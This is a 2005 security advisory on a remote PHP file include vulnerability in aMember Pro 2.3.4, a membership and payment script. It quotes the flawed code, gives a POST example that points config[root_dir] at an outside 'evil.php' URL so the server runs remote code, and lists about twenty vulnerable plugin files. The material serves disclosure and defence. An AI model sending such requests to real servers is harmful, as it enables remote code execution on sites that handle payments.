aMemberPro234.txt

`[NewAngels Advisory #2] aMember Pro 2.3.X - Remote File Include Vulnerability  
=============================================================================  
  
  
Software: aMember Pro 2.3.4  
Type: Remote PHP File Include Vulnerability  
Risk: High  
  
Date: Aug. 16 2005  
Vendor: CGI Central  
  
  
Credit:  
=======  
NewAngels Team with special note of 4Degrees.  
  
  
Description:  
============  
"aMember is a flexible membership and subscription management PHP script. It has support for PayPal, BeanStream, 2Checkout, NoChex, VeriSign PayFlow, Authorize.Net, PaySystems, Probilling, Multicards, E-Gold and Clickbank payment systems (complete list can be found here) and allows you to setup paid-membership areas on your site. It can also be used without any payment system - you can manage users manually."  
[http://www.amember.com/]  
  
  
PHP Requirements:  
=================  
register_globals = On  
  
  
Vulnerability:  
==============  
Source:  
>global $config;  
>[...]  
>require_once($config['root_dir']."...somestring...");  
  
  
  
  
Exploitation:  
=============  
This vulnerability exists in several files, the code is not exactly the same in all files.  
But the exploit does remain the same.  
  
Example: http://www.somesite.com/aMember/plugins/db/mysql/mysql.inc.php  
POST: config[root_dir]=http://www.46and2.com/evil.php?  
  
Vulnerable Files:  
/aMember/plugins/db/mysql/mysql.inc.php  
/aMember/plugins/payment/efsnet/efsnet.inc.php  
/aMember/plugins/payment/theinternetcommerce/theinternetcommerce.inc.php  
/aMember/plugins/payment/cdg/cdg.inc.php  
/aMember/plugins/payment/compuworld/compuworld.inc.php  
/aMember/plugins/payment/directone/directone.inc.php  
/aMember/plugins/payment/authorize_aim/authorize_aim.inc.php  
/aMember/plugins/payment/beanstream/beanstream.inc.php  
/aMember/plugins/payment/echo/config.inc.php  
/aMember/plugins/payment/eprocessingnetwork/eprocessingnetwork.inc.php  
/aMember/plugins/payment/eway/eway.inc.php  
/aMember/plugins/payment/linkpoint/linkpoint.inc.php  
/aMember/plugins/payment/logiccommerce/logiccommerce.inc.php  
/aMember/plugins/payment/netbilling/netbilling.inc.php  
/aMember/plugins/payment/payflow_pro/payflow_pro.inc.php  
/aMember/plugins/payment/paymentsgateway/paymentsgateway.inc.php  
/aMember/plugins/payment/payos/payos.inc.php  
/aMember/plugins/payment/payready/payready.inc.php  
/aMember/plugins/payment/plugnplay/plugnplay.inc.php  
`